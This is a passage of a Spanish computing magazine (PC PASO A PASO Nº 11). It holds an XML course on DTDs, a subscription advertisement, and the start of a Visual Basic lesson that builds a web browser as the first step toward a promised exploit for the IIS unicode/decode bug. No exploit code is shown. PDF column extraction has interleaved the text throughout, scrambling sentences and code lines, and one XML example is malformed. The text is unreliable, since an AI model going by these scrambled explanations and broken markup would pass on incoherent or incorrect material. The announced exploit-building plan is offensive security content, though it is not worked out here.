  • 61. VALIDACIoN DE DOCUMENTOS XML - DTD -VALIDACIoN DE DOCUMENTOS XML - DTD Sigamos con el ejemplo que hemos empezado antes. < !ELEMENT NUMERO_DE_CUENTA ( #PCDATA)> Supongamos que vamos a estructurar un conjunto de ordenes de compra. Podríamos definir el documento de Significa dos cosas: la siguiente manera: a. NUMERO_DE CUENTA no contiene ningún elemento <?xml version=“1.0” standalone=”yes”?> b. El contenido de NUMERO_DE_CUENTA <!DOCTYPE ORDEN_DE_COMPRA [ son datos, o sea texto <!ELEMENT ORDEN_DE_COMPRA (CLIENTE)> <!ELEMENT CLIENTE (NUMERO_DE_CUENTA,NOMBRE_COMPLETO)> También podría escribirse de la siguiente manera: <!ELEMENT NUMERO_DE_CUENTA (#PCDATA)> <?xml version=“1.0” standalone=”yes”?> <!ELEMENT NOMBRE_COMPLETO (NOMBRE,APELLIDO1,APELLIDO2)> <!ELEMENT NOMBRE (#PCDATA)> <!DOCTYPE ORDEN_DE_COMPRA [ <!ELEMENT APELLIDO1 (#PCDATA)> <!ELEMENT NUMERO_DE_CUENTA (#PCDATA)> <!ELEMENT APELLIDO2 (#PCDATA)> <!ELEMENT CLIENTE (NUMERO_DE_CUENTA,NOMBRE_COMPLETO)> ]> <!ELEMENT ORDEN_DE_COMPRA (CLIENTE)> <!ELEMENT NOMBRE_COMPLETO (NOMBRE,APELLIDO1,APELLIDO2)> El ejemplo de DTD declara siete elementos <!ELEMENT APELLIDO1 (#PCDATA)> ( ORDEN_COMPRA, CLIENTE, NUMERO_DE_CUENTA , NOMBRE_COMPLETO, NOMBRE, APELLIDO1, APELLIDO2) <!ELEMENT NOMBRE (#PCDATA)> y muestra el orden en que deben de ser escritos dentro del documento. <!ELEMENT APELLIDO2 (#PCDATA)> ]> Analicémoslo un poco.: < !ELEMENT ORDEN_DE_COMPRA (CLIENTE) > significa que CLIENTE es un elemento que pertenece a Fijaros que está completamente desordenado, ORDEN_DE_COMPRA, o dicho de otra manera que pero si lo leéis, las reglas están perfectas. Yo ORDEN_DE_COMPRA contiene el elemento CLIENTE no recomendaría que lo escribáis de esta manera, incluso para vosotros creadores, con < !ELEMENT CLIENTE (NUMERO_DE_CUENTA, NOMBRE_COMPLETO)> el tiempo os va a ser difícil, os va suponer un s i g n i f i c a q u e N U M E R O _ D E _ C U E N TA Y trabajo interpretarlo. De la otra manera, se NOMBRE_COMPLETO son elementos que pertenece a CLIENTE, o dicho de otra manera que CLIENTE contiene sigue con facilidad y se entiende de manera l o s e l e m e n t o s N U M E R O _ D E _ C U E N TA y instantánea. NOMBRE_COMPLETO PC PASO A PASO Nº 11 Página 61
  • 62. VALIDACIoN DE DOCUMENTOS XML - DTD -VALIDACIoN DE DOCUMENTOS XML - DTD Dedicarle una especial atención al espaciado, es muy importante. ! Como ya... La declaración siguiente no está bien formada: <!ELEMENTAPELLIDO1 (#PCDATA)> tampoco lo está la siguiente: Como ya explicamos en anteriores <!ELEMENT APELLIDO1(#PCDATA)> números y por si acaso intentas abrir el archivo prueba.xml con el Explorer y el formato correcto es : no eres capaz de hacerlo, te <!ELEMENT APELLIDO1 (#PCDATA)> recomendamos utilizar la técnica de los Fijaros que después de ELEMENT viene un espacio, y que des pues de “mackeros”. Lo primero que aprende APELLIDO1 viene otro. un usuario de appel es a arrastrar archivos desde las carpetas hasta los programas. 1.1 EJEMPLO: UN DOCUMENTO XML CON UN DTD INTERNO Venga: Abre cualquier editor de texto plano (como el Bloc de Notas de Windows - Abre el Internet Explorer o el VI de Linux y escribe lo siguiente: - Arrastra el archivo prueba.xml hasta la ventana del Internet Explorer <?xml version=“1.0” standalone=”yes”?> - Ya está :) <!DOCTYPE ORDEN_DE_COMPRA [ <!ELEMENT ORDEN_DE_COMPRA (CLIENTE)> <!ELEMENT CLIENTE (NUMERO_DE_CUENTA,NOMBRE_COMPLETO)> <!ELEMENT NUMERO_DE_CUENTA (#PCDATA)> <!ELEMENT NOMBRE_COMPLETO (NOMBRE,APELLIDO1,APELLIDO2)> <!ELEMENT NOMBRE (#PCDATA)> <!ELEMENT APELLIDO1 (#PCDATA)> <!ELEMENT APELLIDO2 (#PCDATA)> Si lo abres con el Netscape 7.0, verás ]> esto: <ORDEN_DE_COMPRA> <CLIENTE> <NUMERO_DE_CUENTA>12345678</NUMERO_DE_CUENTA> <NOMBRE_COMPLETO> <NOMBRE>Sam</NOMBRE> <APELLIDO1>Bass</APELLIDO1> <APELLIDO2></APELLIDO2> </NOMBRE_COMPLETO> </CLIENTE> </ORDEN_DE_COMPRA> Guarda el archivo c o m o prueba.xml y, si quieres visualizarlo, ábrelo con el Internet Explorer Puedes darte cuenta de que el Internet 6 . 0 . Explorer visualiza el archivo de forma Deberías mucho más adecuada que el Netscape ver algo (que solo muestra líneas de texto). como esto: Página 62 PC PASO A PASO Nº 11
  • 63. VALIDACIoN DE DOCUMENTOS XML - DTD -VALIDACIoN DE DOCUMENTOS XML - DTD Sin entrar en detalle y para que todos lo 2.1 ESCRIBIR DTDs EXTERNOS entendamos, podemos decir que el Internet Abrir un editor de texto ASCII (el notepad, el vi u otro cualquiera) Explorer 6.0 muestra los XML de forma “navegable”. Sin que sirva de precedente, te Coger el DTD interno que habíamos escrito, y sacar el recomendamos Internet Explorer 6.0 para visualizar contenido que había entre el signo ( [ ) y el signo ( ] los archivos XML. ) . esto es : <!ELEMENT ORDEN_DE_COMPRA (CLIENTE)> Más adelante ya te enseñaremos a “darle formato” <!ELEMENT CLIENTE (NUMERO_DE_CUENTA,NOMBRE_COMPLETO)> a los XML para que se visualicen de una forma <!ELEMENT NUMERO_DE_CUENTA (#PCDATA)> <!ELEMENT NOMBRE_COMPLETO (NOMBRE,APELLIDO1,APELLIDO2)> más “útil”... pero eso ya llegará :) <!ELEMENT NOMBRE (#PCDATA)> <!ELEMENT APELLIDO1 (#PCDATA)> <!ELEMENT APELLIDO2 (#PCDATA)> 2. DTDs EXTERNOS y guardarlo como ordenCompra.dtd (si, si... la extensión es dtd ;) Un DTD externo se especifica (se define) utilizando una declaración DOCTYPE que Si queréis añadirle un comentario, podéis hacerlo contenga una URI (uniform resource identifier). tal y como se hacía con los documentos xml: La URI identificará el lugar donde está el DTD. (ya lo explicamos en el número anterior) <!--Ejemplo de archivo dtd--> ¿Y que es una URI? <!ELEMENT ORDEN_DE_COMPRA (CLIENTE)> Una URI es algo parecido a un carné de <!ELEMENT CLIENTE (NUMERO_DE_CUENTA,NOMBRE_COMPLETO)> <!ELEMENT NUMERO_DE_CUENTA (#PCDATA)> identidad. Un identificador único, un lugar <!ELEMENT NOMBRE_COMPLETO (NOMBRE,APELLIDO1,APELLIDO2)> único. Una URI es un superconjunto formado <!ELEMENT NOMBRE (#PCDATA)> <!ELEMENT APELLIDO1 (#PCDATA)> por : <!ELEMENT APELLIDO2 (#PCDATA)> - URLs Es decir signo menor que (< ) seguido de signo de final de exclamación (!) , dos guiones (--) Las URLs son direcciones. Dicho mas fácilmente el comentario (Ejemplo de archivo dtd) , dos y con un ejemplo: guiones (--) y el signo mayor que ( >) www.hackxcrack.com es una url 2.2 DTDs EXTERNOS PÚBLICOS - URNs Los DTD accesibles de modo público se definen (o especifican) utilizando la palabra clave PUBLIC Explicar lo que son las URNs es un poco mas en la complicado. De momento lo dejamos en que declaración DOCTYPE. las URNs son identificadores invariables de recursos de información. Si continuáis leyendo, La idea principal de los DTD externos públicos dentro de unas líneas lo veréis más claro. e s u t i l i z a r l o s p a ra t ra b a j a r s i e m p r e c o n l a ú l t i m a v e r s i ó n d e u n DT D g u a r d a d o e n u n Por lo tanto, los documentos xml pueden s e r v i d o r p ú b l i c o. Pa ra e l l o l o s DT D p ú b l i c o s referenciar tanto a las URL como a las URN. pueden tener un ID (identificador público) que PC PASO A PASO Nº 11 Página 63
  • 64. VALIDACIoN DE DOCUMENTOS XML - DTD -VALIDACIoN DE DOCUMENTOS XML - DTD los analizadores (parsers, programas que validan organitzation for standarization) no lo haya los xml) utilizan para localizar los DTD y validar reconocido todavía. los documentos. - W3C Nos dice que el propietario del Veámoslo todo ello con un nuevo ejemplo (que DTD es el World Wide Web Consortium (W3C), te vemos un poco perdido): lo que significa que son esta gente los que escribieron en su día el DTD y actualmente lo El siguiente DTD, referencia la especificación mantienen. de la versión 2.0 DTD para XML 1.0: - DTD Specification V2.0 Nos da una <!DOCTYPE spec PUBLIC “-//W3C//DTD Specification V2.0//EN” descripción de lo que es el DTD, o sea la “http://www.w3.org/XML/1998/06/xmlspec-v20.dtd”> especificación V2.0 (versión 2.0) del DTD. La primera vez que vi algo parecido me sonó - EN Una abreviación de dos letras que a chino, luego pensé que era algo parecido a nos indica el lenguaje de los documentos XML una marca de fábrica y no le di mayor a los cuales se aplica este DTD. En este caso importancia. ¡Cuan equivocado estaba! el lenguaje es Inglés de los U.S.A. podéis encontrar una lista completa de estas Examinando la declaración anterior, podemos abreviaciones en la ISO 639-1 que podéis aprender muchas cosas acerca de cómo las encontrar en la siguiente URL: http://www.geo- declaraciones son definidas y utilizadas. guide.de/info/tools/languagecode.html Esta declaración dice que el elemento raíz es A diferencia de las URN, la siguiente sección spec (esto ya deberíais entenderlo!!) y después de la declaración DOCTYPE pública se refiere especifica información del propietario del DTD y su localización: a una URL La información del propietario nos la da en una “http://www.w3.org/XML/1998/06/xmlspec-v20.dtd” URN (ahora veréis claro lo que es una URN y porque he esperado hasta aquí para explicarlo!): En esta dirección Internet, lo importante es darnos cuenta de que el nombre del dtd es : -//W3C// DTD Specification V2.0//EN xmlspec-v20.dtd (esto es una URN) - las contrabarras dobles // separa categorías de información relativa al DTD y a 2.2.1 EJEMPLO: UN DOCUMENTO XML su propietario CON UN DTD PÚBLICO EXTERNO - El signo – (menos) Nos indica que Vamos a suponer que estoy trabajando es una el DTD es un standard no reconocido, no oficial. especificación estándar de un DTD que se Un signo + nos informaría de un DTD llamará RO y que tengo un dominio reconocido. ¿Y como puede ser que un standard http://www.rocaverges.es y en ese dominio público no sea reconocido? Puede darse el tengo una DTD llamada ordenCompra.dtd caso muy común de que las ISO (international Página 64 PC PASO A PASO Nº 11
  • 65. VALIDACIoN DE DOCUMENTOS XML - DTD -VALIDACIoN DE DOCUMENTOS XML - DTD <!DOCTYPE spec PUBLIC “-//ROCA//Especificacion RO V1.0//ES” “http://www.rocaverges.es/ordenCompra.dtd“> <!DOCTYPE ORDEN_DE_COMPRA SYSTEM <ORDEN_DE_COMPRA> “http://www.rocaverges.es/ordenCompra.dtd”> <CLIENTE> <NUMERO_DE_CUENTA>12345678</NUMERO_DE_CUENTA> <NOMBRE_COMPLETO> <NOMBRE>Sam</NOMBRE> 2.3.1 EJEMPLO: UN DOCUMENTO XML CON UN <APELLIDO1>Bass</APELLIDO1> DTD EXTERNO NO PÚBLICO <APELLIDO2></APELLIDO2> </NOMBRE_COMPLETO> </CLIENTE> <?xml versión “1.0” standalone=”no”?> </ORDEN_DE_COMPRA> <!DOCTYPE ORDEN_DE_COMPRA SYSTEM Fijaros en que he cambiado los siguientes “http://www.rocaverges.es/ordenCompra.dtd”> elementos de la URN: <ORDEN_DE_COMPRA> · nombre del propietario (ROCA) <CLIENTE> <NUMERO_DE_CUENTA>12345678</NUMERO_DE_CUENTA> · descripción (Especificacion RO V1.0) <NOMBRE_COMPLETO> · idioma (ES). <NOMBRE>Sam</NOMBRE> <APELLIDO1>Bass</APELLIDO1> Supuestamente en http://www.rocaverges.es <APELLIDO2></APELLIDO2> /ordenCompra.dtd se hallaría el dtd que antes </NOMBRE_COMPLETO> incluíamos dentro del xml, ahora simplemente </CLIENTE> </ORDEN_DE_COMPRA> lo que hacemos es referenciarlo. 2.3 DTDs EXTERNOS NO PÚBLICOS 2.4 RESOLVER ERRORES DE DTD EXTERNOS Supongamos que tenemos un dtd en Un analizador XML (un parser xml) debe ser capaz de http://www.rocaverges.es/ordenCompra.dtd pero está vez no estoy trabajando en un localizar los DTD externos utilizando la URI (la URL , proyecto de ámbito mundial, sino que estoy recordad que una URL forma parte del conjunto URI) desarrollando una aplicación que me han pedido que le habéis indicado en el documento. En caso de unos clientes. Entonces solo quiero que mi dtd que no lo encuentre, el error usual que vais a ver es sea accesible por mis clientes y por la gente el mensaje de que el sistema no ha podido localizar el relacionada en el proyecto (analistas, recurso especificado o ha habido un error procesando programadores, consultores...etc.). Por lo tanto el DTD. , si referencio mis documentos xml con un DTD externo, en la declaración DOCTYPE, especificaré que se trata de un DTD no público. Si esto ocurre, comprobad la exactitud y la sintaxis de la URL que habéis escrito dentro del documento xml. Esta especificación que nos dice que ese DTD no es público, se hace escribiendo la palabra Una URL puede indicarse de manera relativa y absoluta SYSTEM en lugar de PUBLIC, y eliminando la , esto es: referencia a la URN Los DTD accesibles de modo no público se Supongamos que estáis en www.hackxcrack.com. En definen (o especifican) utilizando la palabra el caso de que queráis ir a la página de entrada, que clave SYSTEM en la declaración DOCTYPE. está en http://www.hackxcrack.com/entrada/entrada.htm lo podríais escribir en el xml de dos maneras: Veámoslo todo ello con un nuevo ejemplo: PC PASO A PASO Nº 11 Página 65
  • 66. VALIDACIoN DE DOCUMENTOS XML - DTD -VALIDACIoN DE DOCUMENTOS XML - DTD 1. Con una dirección absoluta, Pero si nos halláramos en otro directorio, por especificando el dominio (www.hackxcrack.com) ejemplo el directorio pruebas ( ojo que no existe + la lista de directorios que cuelgan del dominio e n re a l i d a d ) , s i n o s h a l l á ra m o s e n ( en este caso solo tenemos un directorio que http://www.hackxcrack.com/pruebas/ le se llama entrada) + finalmente el archivo estaríamos dando la dirección (entrada.htm), quedando la dirección absoluta de la siguiente manera: http://www.hackxcrack.com/pruebas/entrada/entrada.htm http://www.hackxcrack.com/entrada/entrada.htm y recordemos que /entrada/entrada.htm cuelga del directorio raíz , por lo tanto tendríamos un e r r o r, ya que esa dirección 2. La segunda posibilidad es especificar ( h t t p : / / w w w. h a c k x c ra c k . c o m / p r u e b a s una dirección relativa, esto es, partiendo de /entrada/entrada.htm) no noslleva a ninguna la base que ya estamos dentro del dominio parte, porque no existe. (www.hackxcrack.com) solo escribimos el listado de archivos ( en este caso solo tenemos un Podemos por tanto referenciar nuestro dtd de directorio que se llama entrada ) y finalmente manera absoluta: el archivo deseado ( entrada.htm), quedando la dirección relativa de la siguiente <!DOCTYPE ORDEN_DE_COMPRA SYSTEM manera: “http://www.rocaverges.es/ordenCompra.dtd”> /entrada/entrada.htm Como referenciarlo de manera relativa al directorio raíz Y esta dirección seria relativa al directorio raíz (dominio). Esto es le estoy dando la dirección: <!DOCTYPE ORDEN_DE_COMPRA SYSTEM “/ordenCompra.dtd”> http://www.hackxcrack.com/entrada/entrada.htm Como referenciarlo de manera relativa al Hay otro tipo de dirección relativa, y es escribir directorio actual sin la contrabarra ( / ) inicial, esto es diciéndole que la dirección es relativa al directorio <!DOCTYPE ORDEN_DE_COMPRA SYSTEM en que nos hallamos y no al directorio “ordenCompra.dtd”> raíz. Lo escribiríamos de la siguiente forma: Volviendo a los posibles errores, uno muy típico es el de la confusión que genera la manera de entrada/entrada.htm escribir las direcciones relativas al directorio actual o relativas al directorio raíz. Comprobad y si nos halláramos en el directorio raíz le también esto. estaríamos dando igualmente la dirección: Además recordad que si se especifica http://www.hackxcrack.com/entrada/entrada.htm solamente el nombre del DTD (ordenCompra.dtd), se suele esperar que el ya que en este caso el directorio actual DTD esté en el mismo directorio que el xml coincidecon el directorio raíz. asociado. Página 66 PC PASO A PASO Nº 11
  • 67. VALIDACIoN DE DOCUMENTOS XML - DTD -VALIDACIoN DE DOCUMENTOS XML - DTD 3.- COMBINANDO DTD EXTERNOS Supongamos que para el nuevo documento xml E INTERNOS que nos han encargado, y solo en este caso, debemos saber también el número del teléfono Un documento xml pueden tener DTS internos del cliente. y externos. Para hacer esto, añadiremos las declaraciones del DTD interno después de Pues lo que haremos será referenciar el DTD especificar la localización del DTD externo. externo y redefiniremos el elemento Como antes hemos dicho, las declaraciones NOMBRE_COMPLETO, añadiéndole TELEFONO, internas empiezan con el signo ( [ ) y terminan cuando el analizador (parser) vea las dos con el signo ( ] ) seguido del signo mayor que declaraciones, cogerá la primera es decir, la (>) redefinida, ya que el DTD interno es el que ha leído primero. Si decidimos crear documentos con DTDs internos y externos a la vez deberemos tener Lo vemos con un ejemplo: en cuenta: <?xml version=“1.0” standalone=”no”?> 1. Que los dos DTD sean compatibles, no podemos dar unas reglas en un DTD, que <!DOCTYPE ORDEN_DE_COMPRA SYSTEM “http://www.rocaverges.es/ordenCompra.dtd” [ luego el otro DTD se salte a la torera. Deben también ser complementarios. <!ELEMENT NOMBRE_COMPLETO (NOMBRE,APELLIDO1,APELLIDO2,TELEFONO)> 2. Ninguno de los dos DTD puede anular <!ELEMENT TELEFONO (#PCDATA)> las declaraciones de elementos o atributos del ]> otro DTD. Esto también significa que los DTD <ORDEN_DE_COMPRA> no pueden contener el mismo tipo de <CLIENTE> declaraciones de elementos o atributos. <NUMERO_DE_CUENTA>12345678</NUMERO_DE_CUENTA> 3. Sin embargo lo que si puede hacerse <NOMBRE_COMPLETO> <NOMBRE>Sam</NOMBRE> es redefinir una declaración del DTD externo <APELLIDO1>Bass</APELLIDO1> en el DTD interno. Si hay conflictos entre los <APELLIDO2></APELLIDO2> dos DTD la primera declaración es la que vale <TELEFONO 935689745</TELEFONO> </NOMBRE_COMPLETO> y ya que las declaraciones internas son las que </CLIENTE> se leen primero, son las que tienen preferencia. </ORDEN_DE_COMPRA> 3.1 EJEMPLO: UN DOCUMENTO XML CON FINALIZANDO... UN DTD EXTERNO Y UNO INTERNO Y esto es solo el principio, en la próxima entrega Recordamos ordenCompra.dtd ampliaremos las declaraciones, y os pondré un pequeño ejemplo en java, para los que <!ELEMENT ORDEN_DE_COMPRA (CLIENTE)> quieran trabajar xml desde este lenguaje. <!ELEMENT CLIENTE (NUMERO_DE_CUENTA,NOMBRE_COMPLETO)> <!ELEMENT NUMERO_DE_CUENTA ( #PCDATA)> <!ELEMENT NOMBRE_COMPLETO (NOMBRE,APELLIDO1,APELLIDO2)> Solo me queda desearos unas muy buenas <!ELEMENT NOMBRE (#PCDATA)> vacaciones. <!ELEMENT APELLIDO1 (#PCDATA)> <!ELEMENT APELLIDO2 (#PCDATA)> ¡Saludos compañeros! PC PASO A PASO Nº 11 Página 67
  • 68. VALIDACIoN DE DOCUMENTOS XML - DTD -VALIDACIoN DE DOCUMENTOS XML - DTD IMPORTANTE para quien esté siguiendo el CURSO XML: Fe de Erratas. Situación: Número 10 de PC PASO A PASO, página 52, columna de la izquierda. Error: - Donde pone <?xml version=”1” stanalone=”yes”?> - Debería poner <?xml version=”1.0” stanalone=”yes”?> Se debe poner 1.0 en lugar de 1 o no te funcionará el ejemplo de Visual Basic. En todo artículo siempre figura “1.0”, pero justo en el ejemplo de Visual Basic figura “1”, parece que los duendes visitan todas las editoriales :) SUSCRIBETE A PC PASO A PASO 45 EUROS (10% DE DESCUENTO) SUSCRIPCIÓN POR: + 1 AÑO = SORTEO DE UNA CONSOLA XBOX + 11 NUMEROS SORTEO 2 JUEGOS PC (A ELEGIR) C o n t r a R e e m b o l s o Giro Post al Solo tienes que enviarnos un mail a preferente@hackxcrack.com Envíanos un GIRO POSTAL por valor de 45 EUROS a: indicando: CALLE HIGINIO ANGLES Nº2, 4º-1ª - Nombre CP 43001 TARRAGONA - Apellidos ESPAÑA - Dirección Completa IMPORTANTE: En el TEXTO DEL GIRO escribe un mail de contacto - Población o un número de Teléfono. - Provincia - Cógigo Postal Y enviarnos un mail a preferente@hackxcrack.com indicando: - Mail de Contacto y/o Teléfono Contacto - Nombre Es imprescindible que nos facilites un mail o teléfono de contacto, - Apellidos puesto que 24 horas después de que recibamos tu petición de - Dirección Completa subscripción te daremos un número de Cliente Preferente. Este - Población número será utilizado para los sorteos. - Provincia - Tipo de Subscripción: CONTRAREEMBOLSO - Cógigo Postal - Número de Revista: - Mail de Contacto y/o Teléfono Contacto Este será el número a partir del cual quieres subscribirte. Si deseas Es imprescindible que nos facilites un mail o teléfono de contacto, (por ejemplo) subscribirte a partir del número 5 (incluido), debes poner puesto que 24 horas después de que recibamos tu petición de un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos) subscripción te daremos un número de Cliente Preferente. Este número será utilizado para los sorteos. APRECIACIONES: - Tipo de Subscripción: GIRO POSTAL * Junto con el primer número recibirás el abono de 45 euros, precio - Número de Revista: de la subscripción por 11 números (un año) y una carta donde se te Este será el número a partir del cual quieres subscribirte. Si deseas indicará tu número de Cliente Preferente y justificante/factura de la (por ejemplo) subscribirte a partir del número 5 (incluido), debes poner subscripción. un 5 y te enviaremos desde el 5 hasta el 15 (ambos incluidos) * Puedes hacernos llegar estos datos POR MAIL,tal como te hemos indicado; rellenando el formulario de nuestra WEB APRECIACIONES: (www.hackxcrack.com) o enviándonos una carta a la siguiente dirección: * Junto con el primer número recibirás una carta donde se te indicará CALLE HIGINIO ANGLES Nº2, 4º-1ª tu número de Cliente Preferente y justificante/factura de la subscripción. CP 43001 TARRAGONA * Puedes hacernos llegar estos datos POR MAIL,tal como te hemos ESPAÑA indicado; rellenando el formulario de nuestra WEB * Cualquier consulta referente a las subscripciones puedes enviarla (www.hackxcrack.com) o enviándonos una carta a la siguiente dirección: por mail a preferente@hackxcrack.com CALLE HIGINIO ANGLES Nº2, 4º-1ª CP 43001 TARRAGONA ESPAÑA * Cualquier consulta referente a las subscripciones puedes enviarla por mail a preferente@hackxcrack.com Página 68 PC PASO A PASO Nº 11
  • 69. Curso de Visual basic (Vii): IIS bug exploit usando el WebBrowser - Vamos a empezar a disfrutar de los conocimientos adquiridos en Visual Basic. - ¿Cómo? ¿Que no has seguido nuestro curso de Visual Basic? ¿Creias que no servía para nada? ¿Que no esra necesario? Ya puedes ir repasando los anteriores números, Recuerda que te ensañamos tanto a descargarlo de Internet como a Instalarlo. Bienvenidos de nuevo al curso de Visual Basic. de que sean vulnerables, guardar la URL y el A partir de este número intentaré dar un giro exploit utilizado. completo a la temática de las prácticas. Pero como ya he dicho, esto se explicará en Hasta ahora, había intentado enseñaros a mas de una entrega, aunque intentaré comprimir programar en Visual Basic, los controles básicos, al máximo, creo que hoy debemos empezar por el uso de los objetos, variables, sentencias algo menos “hack” pero que necesitaremos condicionales, acceso a datos... saber manejar para acabar nuestro proyecto. Pero ya va siendo hora de que emprendamos Hoy, y al menos esa es mi intención, haremos un proyecto desde 0 y concluyamos con algo un explorador de Internet en toda regla. Espero realmente útil, si no para nosotros, seguro que que esta minipráctica os deje con la boca abierta, para alguien. Y es por eso que en los siguientes como me pasó a mi en su día, ya que con 4 números orientaremos los contenidos hacia la líneas de código, haremos un explorador de conexión con Internet y la seguridad informática. Internet con capacidades básicas, como Debéis saber que lo explicado anteriormente refrescar, parar, avanzar y retroceder. Esto lo daré por entendido y posiblemente no debemos agradecérselo a un OCX que integra indagaré tanto en cosas como agregar una todas estas funciones, el conocido como referencia/OCX o el diseño del formulario, “WebBrowser” de la colección “Internet Controls” porque doy por hecho que hasta ahí sabéis . arreglároslas vosotros solos, y si alguien se Vamos por faena. Abrimos un nuevo proyecto “atasca” en algún punto ya sabéis que podéis de Visual Basic y elegimos “EXE Estándar”. plantearme preguntas en los foros de Inmediatamente después vamos a Proyecto-> hackxcrack. Componentes y agregamos “Microsoft Internet Control” Bien, durante las siguientes entregas, vamos a intentar crear un exploit para el bug Vease la figura 1. unicode/decode del IIS. Pero no solo eso, sino que nuestro exploit será dinámico y podrá Deberíamos ver como se nos agrega integrar otros bugs, cuidadosamente guardados inmediatamente un nuevo objeto a la barra de en una base de datos o en un fichero plano controles que tenemos a la izquierda, con el (aun por decidir). icono de un globo terráqueo. También tendrá la capacidad de almacenar las páginas que han sido probadas y, en el caso Este objeto será el encargado de visualizar y PC PASO A PASO Nº 11 Página 69
  • 70. Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit Ok, este OCX nos añadirá varios controles comunes en Windows, como el “ListView” y el “TreeView”. Pero ninguno de estos dos nos interesan, nosotros vamos a por la “ToolBar”. Agreguemos este objeto con doble clic, ya que tiene una posición por defecto y no se debe mover (creo que tampoco es posible hacerlo). Finalmente, nuestro formulario debería tener este aspecto. Figura 1 devolvernos valores interesantes de una web cualquiera. Agreguemos entonces este objeto al formulario, de manera que ocupe casi toda la pantalla (pero no toda, ya que debemos poner los botones necesarios que nos ayudaran a La “ToolBar” es un objeto diseñado para agregar movernos por las webs, como en el IExplorer. botones del tipo IExplorer, Word o cualquier producto Microsoft. Para darle aspecto iremos Volvamos ahora a componentes y agreguemos al cuadro de propiedades de nuestra “ToolBar” el OCX “Microsoft Windows Common Controls (recordemos ponerle un nombre) y damos a 6.0” “Personalizado”. Nos debería aparecer la página de propiedades del objeto, donde podremos elegir su aspecto, los botones y el diseño general de esta. Vamos a la pestaña botones y pulsamos “Insertar”. Lo que estamos haciendo no es otra cosa que añadiendo un botón a la barra y dándole un aspecto y una configuración al mismo. Sobre todo es recomendable rellenar los campos Key, que nos indicará la clave del botón y el Caption, o en su defecto, agregar un icono que simbolice su función. Supongo que veréis mas atractivo el tema de poner una imagen en vez de un literal descriptivo, por lo que os recomiendo que Página 70 PC PASO A PASO Nº 11
  • 71. Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit busquéis iconos para avanzar, retroceder Volvamos ahora a la “ToolBar” y pongamos los (flechas), parar (aspa o stop) y refrescar (a iconos correspondientes a los botones que vuestra elección). anteriormente hemos creado. Para ello debemos indicarle, en la pestaña general de la “ToolBar”, ¿Los habéis encontrado?, ¿si?, Bien!!, pues que se va a utilizar la “ImageList”. Esto lo entonces vamos por faena. Insertemos 4 haremos en el “Combo Box” “ImageList” de la botones en la “ToolBar” con diferentes Keys, mencionada pestaña. por ejemplo Retroceder, Avanzar, Para, y Refrescar. Una vez añadidos, cerramos la página Una vez indicada, picamos en la pestaña de propiedades y agregamos un nuevo objeto “Botones” e indicamos el número de imagen al formulario, el “ImageList” que corresponde al botón, siendo este el correspondiente al orden en que se ha añadido al “ImageList”. ! Los ImageList... Los ImageList son objetos que contienen imágenes para que estas puedan ser utilizadas por los demás objetos del formulario, como son las ToolBar, ListViews o TreeViews. El “ListView” es un objeto que, por defecto, es invisible, y tiene capacidad de contener imágenes. Para agregarlas hay que ir al cuadro de propiedades del objeta y picar en “Personalizado”. Vamos a la pestaña “Imágenes” y agregamos uno a uno los iconos que hemos buscado, que pueden tener cualquier formato de imagen (.ico, .gif, .jpg...) El aspecto que debería tener el “ImageList después de agregar las imágenes es este: Si ejecutamos el proyecto veremos que el aspecto no está nada mal. Ahora deberíais jugar con las propiedades de la “ToolBar”, y así cambiar el diseño de la misma, para personalizar vuestro explorador. Empecemos entonces con el código. Nos declararemos, para empezar, una variable que contendrá la URL inicial de nuestro explorador. Podríamos llamarla URLInicial, y será de tipo String. También, y adelantándonos un poco, otra variable de tipo Booleana (True y False) que nos indicará si hemos parado o no el mostrado de la página. PC PASO A PASO Nº 11 Página 71
  • 72. Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit - Curso de VB - IIS bug exploit Option Explicit Dim URLInicial As String Esto tiene fácil solución. Cada vez que un Dim Cargando as Boolean formulario se redimensiona se activa el evento “Resize” del mismo, pudiendo así obtener las Vamos al “Form_Load” y cargamos en la variable coordenadas del Form y de cualquier objeto en una dirección URL, en mi caso, y para ser ese preciso instante. original, pondré http://www.hackxcrack.com ! Al ejecutar... Private Sub Form_Load() URLInicial = "http://www.hackxcrack.com" Al ejecutar el proyecto por primera vez también se ejecuta End Sub el evento Resize del form Con esto tendremos la dirección inicial de nuestro explorador en una variable, pero..., ¿cómo cambiamos?. Muy sencillo, al igual que Por lo tanto nos viene perfecto para Opera, IExplorer, NetScape o cualquier otro redimensionar los controles del formulario. explorador, podemos tener un “ComboBox” Vamos al evento Resize y escribimos el siguiente que almacene y nos permita escribir direcciones código de Internet. Private Sub Form_Resize() Agregamos el combo justo debajo de la Dim Ancho As Long Dim Alto As Long Alto = Me.Height - 2500 Ancho = Me.Width - 500 WB.Width = Ancho WB.Height = Alto CxDireccion.Width = Ancho End Sub Esto lo único que indica es el ancho (Width) de los controles “ComboBox” y “WebBrowser”, y también el alto del “WebBrowser” (Height). Ejecutamos el proyecto y vemos que, aunque botonera, siendo este el aspecto definitivo del aparece maximizado, al redimensionarlo, los formulario. objetos toman el tamaño adecuado. Una cosa que siempre queda muy bien, es que la ventana quede maximizada al ejecutar el proyecto. Para hacer esto, tan solo tenemos que indicar en las propiedades del formulario ! Yo he decidido... que el “WindowsState” sea “Maximized”. Yo he decidido restar 500 twips (medida de Visual Basic) Pero alguna pega tenia que tener esto, porque y 2500 twips para el ancho y el alto, pero podéis poner lo si ejecutamos el proyecto, podemos comprobar que os parezca conveniente. que, aunque la ventana aparece maximizada, Página 72
